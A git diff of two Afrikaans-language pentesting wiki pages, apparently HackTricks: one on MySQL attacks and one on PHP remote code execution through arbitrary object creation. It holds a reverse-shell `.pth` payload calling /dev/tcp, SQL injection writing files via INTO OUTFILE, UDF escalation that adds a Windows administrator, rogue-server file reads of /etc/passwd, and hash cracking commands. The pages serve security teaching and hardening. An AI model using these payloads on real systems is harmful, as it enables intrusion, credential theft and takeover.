diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index d8581eb07..e80e79a2d 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,15 +4,15 @@ ## **Basiese Inligting** -**MySQL** kan beskryf word as 'n oopbron **Relational Database Management System (RDBMS)** wat gratis beskikbaar is. Dit werk op die **Structured Query Language (SQL)**, wat die bestuur en manipulasie van databasisse moontlik maak. +**MySQL** kan beskryf word as 'n oopbron Relational Database Management System (RDBMS) wat gratis beskikbaar is. Dit maak gebruik van die Structured Query Language (SQL) en stel die bestuur en manipuleer van databasisse in staat. -**Standaard poort:** 3306 +**Standaardpoort:** 3306 ``` 3306/tcp open mysql ``` ## **Verbind** -### **Plaaslik** +### **Lokaal** ```bash mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) @@ -24,7 +24,7 @@ mysql -h -u root@localhost ``` ## Eksterne Enumerasie -Sommige van die enumerasie aksies vereis geldige akrediteer. +Sommige van die enumerasie-aksies vereis geldige inlogbesonderhede ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -41,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) ``` -## **MySQL-opdragte** +## **MySQL-kommando's** ```bash show databases; use ; @@ -78,7 +78,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### MySQL Toestemmings Enumerasie +### MySQL Regte-opsporing ```sql #Mysql SHOW GRANTS [FOR user]; @@ -101,93 +101,89 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` -You kan die betekenis van elke voorreg in die dokumentasie sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) +Jy kan in die docs die betekenis van elke voorreg sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) -### MySQL Lêer RCE +### MySQL File RCE {{#ref}} ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -#### INTO OUTFILE → Python `.pth` RCE (webwerf-spesifieke konfigurasie hake) +#### INTO OUTFILE → Python `.pth` RCE (site-spesifieke konfigurasie-hake) -Deur die klassieke `INTO OUTFILE` primitief te misbruik, is dit moontlik om *arbitraire kode-uitvoering* op teikens te verkry wat later **Python** skripte uitvoer. +Deur die klassieke `INTO OUTFILE` primitive te misbruik, is dit moontlik om *arbitrary code execution* te bekom op teikens wat later **Python**-skripte uitvoer. -1. Gebruik `INTO OUTFILE` om 'n pasgemaakte **`.pth`** lêer binne enige gids te laat val wat outomaties deur `site.py` gelaai word (bv. `.../lib/python3.10/site-packages/`). -2. Die `.pth` lêer kan 'n *enkele lyn* bevat wat begin met `import ` gevolg deur arbitraire Python kode wat elke keer uitgevoer sal word wanneer die interpreter begin. -3. Wanneer die interpreter implisiet deur 'n CGI-skrip uitgevoer word (byvoorbeeld `/cgi-bin/ml-draw.py` met shebang `#!/bin/python`), word die payload uitgevoer met dieselfde voorregte as die web-bediener proses (FortiWeb het dit as **root** uitgevoer → volle pre-auth RCE). +1. Gebruik `INTO OUTFILE` om 'n pasgemaakte **`.pth`**-lêer in te laat val in enige gids wat outomaties deur `site.py` gelaai word (bv. `.../lib/python3.10/site-packages/`). +2. Die `.pth`-lêer kan 'n *enkele lyn* bevat wat begin met `import ` gevolg deur arbitrêre Python-kode wat elke keer uitgevoer sal word wanneer die interpreter begin. +3. Wanneer die interpreter implisiet uitgevoer word deur 'n CGI-skrip (byvoorbeeld `/cgi-bin/ml-draw.py` met shebang `#!/bin/python`) word die payload uitgevoer met dieselfde voorregte as die web-bediener-proses (FortiWeb het dit as **root** uitgevoer → full pre-auth RCE). -Voorbeeld `.pth` payload (enkele lyn, geen spaties kan in die finale SQL payload ingesluit word nie, so hex/`UNHEX()` of string-konkatenasie mag benodig word): +Voorbeeld `.pth` payload (enkele lyn, geen spasies kan in die finale SQL-payload ingesluit word, dus hex/`UNHEX()` of string-konkatenering mag nodig wees): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Voorbeeld van die opstel van die lêer deur middel van 'n **UNION** navraag (spasie karakters vervang met `/**/` om 'n `sscanf("%128s")` spasie filter te omseil en die totale lengte ≤128 bytes te hou): +Voorbeeld om die lêer te skep deur 'n **UNION** query (spaties vervang met `/**/` om 'n `sscanf("%128s")` spasiefilter te omseil en die totale lengte ≤128 bytes te behou): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` Belangrike beperkings & omseilings: -* `INTO OUTFILE` **kan nie** bestaande lêers oorskryf nie; kies 'n nuwe lêernaam. -* Die lêerpad word **relatief tot MySQL se CWD** opgelos, so om te prefix met `../../` help om die pad te verkort en absolute-pad beperkings te omseil. -* As die aanvaller se invoer met `%128s` (of soortgelyk) onttrek word, sal enige spasie die payload afbreek; gebruik MySQL kommentaarreekse `/**/` of `/*!*/` om spasies te vervang. -* Die MySQL gebruiker wat die navraag uitvoer, benodig die `FILE` voorreg, maar in baie toestelle (bv. FortiWeb) loop die diens as **root**, wat skrywe toegang byna oral gee. +* `INTO OUTFILE` **kan nie oorskryf nie** bestaande lêers; kies 'n nuwe lêernaam. +* Die lêerpad word opgelos **relatief tot MySQL’s CWD**, dus help vooranbring met `../../` om die pad te verkort en absolute-pad beperkings te omseil. +* As die aanvaller se invoer met `%128s` (of soortgelyk) onttrek word, sal enige spasie die payload afkap; gebruik MySQL kommentaarvolgordes `/**/` of `/*!*/` om spasies te vervang. +* Die MySQL gebruiker wat die query uitvoer benodig die `FILE` voorreg, maar op baie appliances (bv. FortiWeb) loop die diens as **root**, wat skryf-toegang byna oral gee. -Na die `.pth` verwyder is, vra eenvoudig enige CGI wat deur die python interpreter hanteer word om kode-uitvoering te verkry: +Nadat jy die `.pth` neergesit het, versoek eenvoudig enige CGI wat deur die python interpreter gehanteer word om code execution te kry: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: ``` -Die Python-proses sal die kwaadwillige `.pth` outomaties invoer en die shell-payload uitvoer. +Die Python-proses sal die kwaadwillige `.pth` outomaties importeer en die shell payload uitvoer. ``` # Attacker $ nc -lvnp 4444 id uid=0(root) gid=0(root) groups=0(root) ``` ---- +## MySQL arbitrêre lêerlees deur client -## MySQL arbitrêre lêer lees deur kliënt - -Werklik, wanneer jy probeer om **data plaaslik in 'n tabel te laai** die **inhoud van 'n lêer** vra die MySQL of MariaDB bediener die **kliënt om dit te lees** en die inhoud te stuur. **Dan, as jy 'n mysql kliënt kan manipuleer om met jou eie MySQL bediener te verbind, kan jy arbitrêre lêers lees.**\ -Let asseblief op dat dit die gedrag is wat gebruik word: +Eintlik, wanneer jy probeer **load data local into a table** die **inhoud van 'n lêer** vra die MySQL of MariaDB-server die **client om dit te lees** en die inhoud te stuur. **As jy 'n mysql client kan manipuleer om met jou eie MySQL-server te verbind, kan jy arbitrêre lêers lees.**\ +Neem asseblief kennis dat dit die gedrag is wanneer gebruik: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Let op die "lokale" woord)\ -Want sonder die "lokale" kan jy kry: +(Let op die woord "local")\ +Want sonder die "local" kan jy kry: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` -**Begin PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**In hierdie artikel kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**Aanvanklike PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ +**In hierdie artikel kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit na RCE uit te brei:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Hier kan jy 'n oorsig van die aanval vind:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) -​ - ## POST ### Mysql Gebruiker -Dit sal baie interessant wees as mysql as **root** loop: +Dit sal baie interessant wees as mysql as **root** uitgevoer word: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` -#### Gevaarlike Instellings van mysqld.cnf +#### Gevaarlike instellings in mysqld.cnf -In die konfigurasie van MySQL dienste, word verskeie instellings gebruik om sy werking en sekuriteitsmaatreëls te definieer: +In die konfigurasie van MySQL-dienste word verskeie instellings gebruik om sy werking en sekuriteitsmaatreëls te definieer: -- Die **`user`** instelling word gebruik om die gebruiker aan te dui waaronder die MySQL diens uitgevoer sal word. -- **`password`** word toegepas om die wagwoord wat met die MySQL gebruiker geassosieer word, te vestig. -- **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP verbindings op die administratiewe netwerkinterfase. -- Die **`debug`** veranderlike is aanduidend van die huidige foutopsporing konfigurasies, insluitend sensitiewe inligting binne logs. -- **`sql_warnings`** bestuur of inligtingsstringe gegenereer word vir enkel-ry INSERT verklarings wanneer waarskuwings ontstaan, wat sensitiewe data binne logs bevat. -- Met **`secure_file_priv`** word die omvang van data-invoer en -uitvoer operasies beperk om sekuriteit te verbeter. +- Die **`user`**-instelling word gebruik om die gebruiker aan te dui waaronder die MySQL-diens uitgevoer sal word. +- **`password`** word gebruik om die wagwoord vir die MySQL-gebruiker in te stel. +- **`admin_address`** spesifiseer die IP-adres wat na TCP/IP-verbindinge luister op die administratiewe netwerk-koppelvlak. +- Die **`debug`**-variabele dui op die huidige foutopsporingskonfigurasies, insluitend sensitiewe inligting in loglêers. +- Die **`sql_warnings`** beheer of inligtingsstringe gegenereer word vir enkelry-INSERT-opdragte wanneer waarskuwings voorkom, wat sensitiewe data in loglêers kan bevat. +- Met **`secure_file_priv`** word die omvang van data-import- en -eksportoperasies beperk om sekuriteit te verbeter. ### Privilege escalation ```bash @@ -209,16 +205,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Privilege Escalation via library -As die **mysql bediener as root** (of 'n ander meer bevoorregte gebruiker) loop, kan jy dit laat opdragte uitvoer. Hiervoor moet jy **gebruikers gedefinieerde funksies** gebruik. En om 'n gebruikers gedefinieerde funksie te skep, sal jy 'n **biblioteek** vir die OS wat mysql uitvoer, nodig hê. +As die **mysql server is running as root** (of 'n ander meer bevoorregte gebruiker) kan jy dit dwing om opdragte uit te voer. Hiervoor moet jy **user defined functions** gebruik. En om 'n user defined te skep sal jy 'n **library** vir die OS wat mysql hardloop nodig hê. -Die kwaadwillige biblioteek om te gebruik kan binne sqlmap en binne metasploit gevind word deur **`locate "*lib_mysqludf_sys*"`** te doen. Die **`.so`** lêers is **linux** biblioteke en die **`.dll`** is die **Windows** een, kies die een wat jy nodig het. +Die kwaadaardige library wat gebruik kan word, is te vinde in sqlmap en in metasploit deur **`locate "*lib_mysqludf_sys*"`** uit te voer. Die **`.so`** lêers is **linux** libraries en die **`.dll`** is die **Windows** een — kies die een wat jy nodig het. -As jy **nie** daardie biblioteke het nie, kan jy of **soek daarna**, of hierdie [**linux C kode**](https://www.exploit-db.com/exploits/1518) aflaai en **dit binne die linux kwesbare masjien saamstel**: +As jy daardie libraries nie het nie, kan jy óf daarna soek, óf hierdie [**linux C code**](https://www.exploit-db.com/exploits/1518) aflaai en dit **compile it inside the linux vulnerable machine**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -Nou dat jy die biblioteek het, teken in binne die Mysql as 'n bevoorregte gebruiker (root?) en volg die volgende stappe: +Nou dat jy die biblioteek het, meld aan by die Mysql as 'n bevoorregte gebruiker (root?) en volg die volgende stappe: #### Linux ```sql @@ -252,29 +248,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -### Uittreksel van MySQL geloofsbriewe uit lêers +#### Windows wenk: create directories with NTFS ADS from SQL -Binne _/etc/mysql/debian.cnf_ kan jy die **duidelike wagwoord** van die gebruiker **debian-sys-maint** vind +Op NTFS kan jy gidskepping afdwing deur 'n alternate data stream te gebruik, selfs wanneer slegs 'n file write primitive bestaan. As die klassieke UDF chain 'n `plugin` gids verwag maar dit bestaan nie en `@@plugin_dir` onbekend of beperk is, kan jy dit eers skep met `::$INDEX_ALLOCATION`: +```sql +SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; +-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory +``` +Dit verander 'n beperkte `SELECT ... INTO OUTFILE` in 'n meer volledige primitive op Windows stacks deur die gidsstruktuur wat nodig is vir UDF drops te opbou. + +### Uittrekking van MySQL credentials uit lêers + +In _/etc/mysql/debian.cnf_ kan jy die **plain-text password** van die gebruiker **debian-sys-maint** vind ```bash cat /etc/mysql/debian.cnf ``` -U kan **hierdie geloofsbriewe gebruik om in die mysql-databasis aan te meld**. +Jy kan **hierdie credentials gebruik om by die mysql database aan te meld**. -Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ kan u **alle hashes van die MySQL gebruikers** vind (diegene wat u kan onttrek uit mysql.user binne die databasis)_._ +Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ vind jy **al die hashes van die MySQL users** (die wat jy uit mysql.user binne die databasis kan uittrek)_._ -U kan dit onttrek deur: +Jy kan hulle uittrek deur: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` -### Aktivering van logging +### Aktiveer logregistrasie -Jy kan logging van mysql navrae aktief maak binne `/etc/mysql/my.cnf` deur die volgende lyne te ontmerk: +Jy kan logregistrasie van mysql-query's binne `/etc/mysql/my.cnf` aktiveer deur die volgende reëls te dekommenteer: ![](<../images/image (899).png>) ### Nuttige lêers -Konfigurasie Lêers +Konfigurasielêers - windows \* - config.ini @@ -289,14 +294,14 @@ Konfigurasie Lêers - /var/lib/mysql/my.cnf - \~/.my.cnf - /etc/my.cnf -- Opdrag Geskiedenis +- Opdraggeskiedenis - \~/.mysql.history -- Log Lêers +- Loglêers - connections.log - update.log - common.log -## Standaard MySQL Databasis/Tabelle +## Standaard MySQL-databasisse/tabelle {{#tabs}} {{#tab name="information_schema"}} @@ -607,7 +612,7 @@ x$user\_summary\_by\_file\_io\ x$user_summary_by_file_io_type\ x$user\_summary\_by\_stages\ x$user_summary_by_statement_latency\ -x$user\_summary\_by\_statement\_type\ +x$user\_summary_by_statement_type\ x$wait_classes_global_by_avg_latency\ x$wait\_classes\_global\_by\_latency\ x$waits_by_host_by_latency\ @@ -616,7 +621,7 @@ x$waits_global_by_latency {{#endtab}} {{#endtabs}} -## HackTricks Outomatiese Opdragte +## HackTricks Outomatiese Kommando's ``` Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. @@ -649,35 +654,34 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS ``` ## 2023-2025 Hoogtepunte (nuut) -### JDBC `propertiesTransform` deserialisering (CVE-2023-21971) -Vanaf Connector/J <= 8.0.32 kan 'n aanvaller wat die **JDBC URL** kan beïnvloed (byvoorbeeld in derdeparty-sagteware wat om 'n verbindingsstring vra) arbitrêre klasse versoek om op die *klant* kant gelaai te word via die `propertiesTransform` parameter. As 'n gadget wat op die klas-pad teenwoordig is, gelaai kan word, lei dit tot **afgeleë kode-uitvoering in die konteks van die JDBC-klant** (voor-auth, omdat geen geldige akrediteerbes is nie). 'n Minimale PoC lyk soos: +### JDBC `propertiesTransform` deserialization (CVE-2023-21971) +Vanaf Connector/J <= 8.0.32 kan 'n aanvaller wat die **JDBC URL** kan beïnvloed (byvoorbeeld in derdeparty-sagteware wat vra vir 'n connection string) arbitrêre klasse versoek om aan die *client*-kant gelaai te word via die `propertiesTransform` parameter. If a gadget present on the class-path is loadable this results in **remote code execution in the context of the JDBC client** (pre-auth, because no valid credentials are required). 'n minimale PoC lyk soos: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -Die uitvoering van `Evil.class` kan so maklik wees soos om dit op die klas-pad van die kwesbare toepassing te produseer of om 'n onbetroubare MySQL-bediener toe te laat om 'n kwaadwillige geserialiseerde objek te stuur. Die probleem is in Connector/J 8.0.33 reggestel – werk die bestuurder op of stel `propertiesTransform` eksplisiet op 'n toelaat-lis. +Om `Evil.class` uit te voer kan so eenvoudig wees as om dit op die class-path van die kwesbare toepassing te plaas, of om 'n rogue MySQL server toe te laat om 'n kwaadwillige serialized object te stuur. Die probleem is reggestel in Connector/J 8.0.33 – werk die driver op of stel `propertiesTransform` eksplisiet op 'n allow-list. +(Sien Snyk write-up vir besonderhede) -(Verwys na Snyk se skrywe vir besonderhede) +### Rogue / Fake MySQL server-aanvalle teen JDBC-kliente +Verskeie open-source gereedskap implementeer 'n *partial* MySQL-protokol om JDBC-kliente wat na buite verbind aan te val: -### Onbetroubare / Vals MySQL-bediener aanvalle teen JDBC-kliënte -Verskeie oopbron gereedskap implementeer 'n *gedeeltelike* MySQL-protokol om JDBC-kliënte wat buite verbind, aan te val: - -* **mysql-fake-server** (Java, ondersteun lêer lees en deserialisering eksplosies) +* **mysql-fake-server** (Java, ondersteun file read en deserialization exploits) * **rogue_mysql_server** (Python, soortgelyke vermoëns) Tipiese aanvalspaaie: -1. Slachtoffer toepassing laai `mysql-connector-j` met `allowLoadLocalInfile=true` of `autoDeserialize=true`. -2. Aanvaller beheer DNS / gasheer inskrywing sodat die gasheernaam van die DB na 'n masjien onder hul beheer oplos. -3. Kwaadwillige bediener reageer met saamgestelde pakkette wat óf `LOCAL INFILE` arbitrêre lêer lees of Java deserialisering aktiveer → RCE. +1. Doeltoepassing laai `mysql-connector-j` met `allowLoadLocalInfile=true` of `autoDeserialize=true`. +2. Aanvaller beheer DNS / host entry sodat die hostname van die DB na 'n masjien onder hul beheer oplos. +3. Kwaadaardige bediener reageer met pasgemaakte pakkette wat óf `LOCAL INFILE` arbitraire lêerlees óf Java deserialization trigger → RCE. -Voorbeeld een-liner om 'n vals bediener te begin (Java): +Example one-liner to start a fake server (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` -Dan wys die slagoffer toepassing na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` en lees `/etc/passwd` deur die lêernaam as base64 in die *username* veld (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). +Wys dan die slagoffer-toepassing na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` en lees `/etc/passwd` deur die lêernaam as base64 te enkodeer in die *username*-veld (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). -### Krake `caching_sha2_password` hashes -MySQL ≥ 8.0 stoor wagwoord hashes as **`$mysql-sha2$`** (SHA-256). Beide Hashcat (modus **21100**) en John-the-Ripper (`--format=mysql-sha2`) ondersteun offline kraking sedert 2023. Dump die `authentication_string` kolom en voer dit direk in: +### Cracking `caching_sha2_password` hashes +MySQL ≥ 8.0 stoor wagwoord-hashes as **`$mysql-sha2$`** (SHA-256). Beide Hashcat (mode **21100**) en John-the-Ripper (`--format=mysql-sha2`) ondersteun offline cracking sedert 2023. Dump die `authentication_string` kolom en voer dit direk in: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -686,12 +690,12 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist # John the Ripper john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` -### Versterking kontrolelys (2025) -• Stel **`LOCAL_INFILE=0`** en **`--secure-file-priv=/var/empty`** in om die meeste lêer-lees/skryf primitiewe te beëindig. +### Verhardingskontrolelys (2025) +• Stel **`LOCAL_INFILE=0`** en **`--secure-file-priv=/var/empty`** om die meeste lêerlees-/skryf-primitiewe uit te skakel. • Verwyder die **`FILE`** voorreg van toepassingsrekeninge. • Op Connector/J stel `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leeg). -• Deaktiveer ongebruikte verifikasie plugins en **vereis TLS** (`require_secure_transport = ON`). -• Monitor vir `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` en skielike `SET GLOBAL` verklarings. +• Skakel ongebruikte authentication plugins af en **vereis TLS** (`require_secure_transport = ON`). +• Hou dop vir `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` en skielike `SET GLOBAL`-instruksies. --- @@ -699,6 +703,9 @@ john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) - [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) - [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) + + - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index fb22272c3..d11f9e8ee 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,18 +1,18 @@ -# PHP - RCE misbruik van objekskepping: new $\_GET\["a"]\($\_GET\["b") +# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} -Dit is basies 'n opsomming van [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +Dit is basies 'n samevatting van [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) ## Inleiding -Die skepping van nuwe arbitrêre objek, soos `new $_GET["a"]($_GET["a"])`, kan lei tot Remote Code Execution (RCE), soos in 'n [**skrywe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) uiteengesit. Hierdie dokument beklemtoon verskeie strategieë om RCE te bereik. +Die skepping van nuwe arbitrêre objekke, soos `new $_GET["a"]($_GET["a"])`, kan lei tot Remote Code Execution (RCE), soos uiteengesit in 'n [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Hierdie dokument beklemtoon verskeie strategieë om RCE te bereik. -## RCE via Aangepaste Klasse of Autoloading +## RCE deur aangepaste klasse of Autoloading -Die sintaksis `new $a($b)` word gebruik om 'n objek te instantiëer waar **`$a`** die klasnaam verteenwoordig en **`$b`** die eerste argument is wat aan die konstruktors oorhandig word. Hierdie veranderlikes kan afkomstig wees van gebruikersinsette soos GET/POST, waar hulle moontlik strings of arrays is, of van JSON, waar hulle as ander tipes mag voorkom. +Die sintaksis `new $a($b)` word gebruik om 'n objek te instansieer, waar **`$a`** die klasnaam verteenwoordig en **`$b`** die eerste argument is wat aan die constructor deurgegee word. Hierdie veranderlikes kan van gebruikersinsette soos GET/POST kom, waar hulle strings of arrays kan wees, of van JSON, waar hulle as ander tipes voor kan kom. -Oorweeg die kode-snippet hieronder: +Kyk na die kodefragment hieronder: ```php class App { function __construct ($cmd) { @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -In hierdie geval, om `$a` op `App` of `App2` en `$b` op 'n stelselaanroep (bv. `uname -a`) te stel, lei tot die uitvoering van daardie aanroep. +In hierdie geval lei die instelling van `$a` op `App` of `App2` en `$b` op 'n stelselopdrag (bv. `uname -a`) tot die uitvoering van daardie opdrag. -**Outomatiese laai funksies** kan uitgebuit word as daar geen sulke klasse direk toeganklik is nie. Hierdie funksies laai outomaties klasse vanaf lêers wanneer nodig en word gedefinieer met behulp van `spl_autoload_register` of `__autoload`: +**Autoloading-funksies** kan misbruik word as sulke klasse nie direk toeganklik is nie. Hierdie funksies laai outomaties klasse uit lêers wanneer nodig en word gedefinieer met behulp van `spl_autoload_register` of `__autoload`: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -45,52 +45,76 @@ include $class_name . '.php'; spl_autoload_register(); ``` -Die gedrag van outomatiese laai varieer met PHP weergawes, wat verskillende RCE moontlikhede bied. +Die gedrag van autoloading verskil na gelang van PHP-weergawes en bied verskillende RCE-geleenthede. -## RCE via Ingeboude Klasse +## RCE via Ingeboude klasse -In die afwesigheid van pasgemaakte klasse of outomatiese laaiers, kan **ingeboude PHP klasse** voldoende wees vir RCE. Die aantal van hierdie klasse wissel tussen 100 en 200, gebaseer op die PHP weergawe en uitbreidings. Hulle kan gelys word met `get_declared_classes()`. +As daar geen custom klasse of autoloaders is nie, kan **ingeboude PHP-klasse** volstaan vir RCE. Die aantal van hierdie klasse wissel tussen sowat 100 en 200, afhangend van die PHP-weergawes en geïnstalleerde extensies. Hulle kan gelys word met `get_declared_classes()`. -Konstruktors van belang kan geïdentifiseer word deur die refleksie API, soos in die volgende voorbeeld en die skakel [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) getoon. +Konstruktors van belang kan geïdentifiseer word deur die reflection API, soos getoon in die volgende voorbeeld en die skakel [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). **RCE via spesifieke metodes sluit in:** -### **SSRF + Phar Deserialisering** +### **SSRF + Phar Deserialization** -Die `SplFileObject` klas stel SSRF in staat deur sy konstruktor, wat verbindings na enige URL toelaat: +Die `SplFileObject`-klas maak SSRF moontlik deur sy konstruktor en laat verbindings na enige URL toe: ```php new SplFileObject('http://attacker.com/'); ``` -SSRF kan lei tot deserialisering aanvalle in weergawes van PHP voor 8.0 wat die Phar protokol gebruik. +SSRF kan lei tot deserialization attacks in weergawes van PHP voor 8.0 wat die Phar-protokol gebruik. -### **Eksploitering van PDO's** +### **Exploiting PDOs** -Die PDO klas konstruktor laat verbindings toe tot databasisse via DSN stringe, wat moontlik lêer skep of ander interaksies moontlik maak: +Die PDO class constructor laat verbindings na databases toe via DSN strings, wat potensieel lêerskepping of ander interaksies moontlik maak: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -Weergawes van PHP tot 5.3.22 en 5.4.12 was vatbaar vir XXE-aanvalle deur die `SoapClient` en `SimpleXMLElement` konstruktors, afhangende van die weergawe van libxml2. +Weergawes van PHP tot 5.3.22 en 5.4.12 was vatbaar vir XXE-aanvalle via die `SoapClient` en `SimpleXMLElement` constructors, afhangend van die weergawe van libxml2. -## RCE via Imagick-uitbreiding +## RCE via Imagick Extension -In die analise van 'n **projek se afhanklikhede**, is ontdek dat **Imagick** benut kan word vir **opdraguitvoering** deur nuwe voorwerpe te instansieer. Dit bied 'n geleentheid om kwesbaarhede te benut. +In die ontleding van 'n **projek se afhanklikhede** is gevind dat **Imagick** aangewend kon word vir **command execution** deur nuwe objekte te instansieer. Dit bied 'n moontlikheid om kwesbaarhede te benut. ### VID parser -Die VID parser vermoë om inhoud na enige gespesifiseerde pad in die lêerstelsel te skryf, is geïdentifiseer. Dit kan lei tot die plasing van 'n PHP-shel in 'n web-toeganklike gids, wat Remote Code Execution (RCE) bereik. +Die VID parser se vermoë om inhoud na enige gespesifiseerde pad in die lêerstelsel te skryf is geïdentifiseer. Dit kan lei tot die plasing van 'n PHP shell in 'n web-beskikbare gids, wat Remote Code Execution (RCE) bewerkstellig. -#### VID Parser + Lêeroplaai +#### VID Parser + File Upload -Daar word opgemerk dat PHP tydelik opgelaaide lêers stoor in `/tmp/phpXXXXXX`. Die VID parser in Imagick, wat die **msl** protokol gebruik, kan wildcard in lêerpaaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose ligging vergemaklik. Hierdie metode bied 'n addisionele 